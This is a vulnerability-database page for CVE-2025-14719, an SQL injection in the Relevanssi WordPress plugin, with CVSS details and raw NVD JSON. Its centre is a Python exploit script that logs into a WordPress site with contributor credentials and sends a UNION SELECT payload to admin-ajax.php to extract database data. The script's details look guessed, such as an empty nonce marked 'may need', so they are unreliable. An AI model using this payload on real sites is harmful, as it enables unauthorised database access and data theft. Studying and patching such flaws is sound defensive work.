Security Vulnerability Report
中文
CVE-2025-14719 CVSS 4.9 MEDIUM

CVE-2025-14719

Published: 2026-01-07 12:16:56
Last Modified: 2026-04-15 00:35:42

Description

The Relevanssi WordPress plugin before 4.26.0, Relevanssi Premium WordPress plugin before 2.29.0 do not sanitize and escape a parameter before using it in a SQL statement, allowing contributor and above roles to perform SQL injection attacks

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Relevanssi WordPress插件 < 4.26.0
Relevanssi Premium WordPress插件 < 2.29.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14719 PoC - Relevanssi SQL Injection # Target: WordPress site with vulnerable Relevanssi plugin def exploit_sql_injection(target_url, wp_user, wp_password): """ Exploit SQL injection in Relevanssi WordPress plugin Requires contributor+ role credentials """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_user, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Send malicious search query with SQL injection payload search_url = f"{target_url}/wp-admin/admin-ajax.php" # SQL injection payload - extracts database version # The vulnerable parameter is used in SQL query without sanitization injection_payload = "1' UNION SELECT 1,2,3,4,5,@@version,7,8,9,10-- -" post_data = { 'action': 'relevanssi_search', 'post_ids': injection_payload, # Vulnerable parameter 'nonce': '' # May need to fetch valid nonce } try: resp = session.post(search_url, data=post_data, timeout=10) if resp.status_code == 200: print(f"[+] Request sent, check response for SQL data leakage") print(f"[+] Response preview: {resp.text[:500]}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com contributor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] password = sys.argv[3] exploit_sql_injection(target, user, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14719", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:56.083", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Relevanssi WordPress plugin before 4.26.0, Relevanssi Premium WordPress plugin before 2.29.0 do not sanitize and escape a parameter before using it in a SQL statement, allowing contributor and above roles to perform SQL injection attacks"}, {"lang": "es", "value": "El plugin de WordPress Relevanssi anterior a 4.26.0, el plugin de WordPress Relevanssi Premium anterior a 2.29.0 no sanitizan ni escapan un parámetro antes de usarlo en una sentencia SQL, permitiendo que roles de colaborador y superiores realicen ataques de inyección SQL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "references": [{"url": "https://wpscan.com/vulnerability/bd8e27c7-8f97-4313-b16e-50ac6f0676f5/", "source": "[email protected]"}, {"url": "https://wpscan.com/vulnerability/bd8e27c7-8f97-4313-b16e-50ac6f0676f5/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}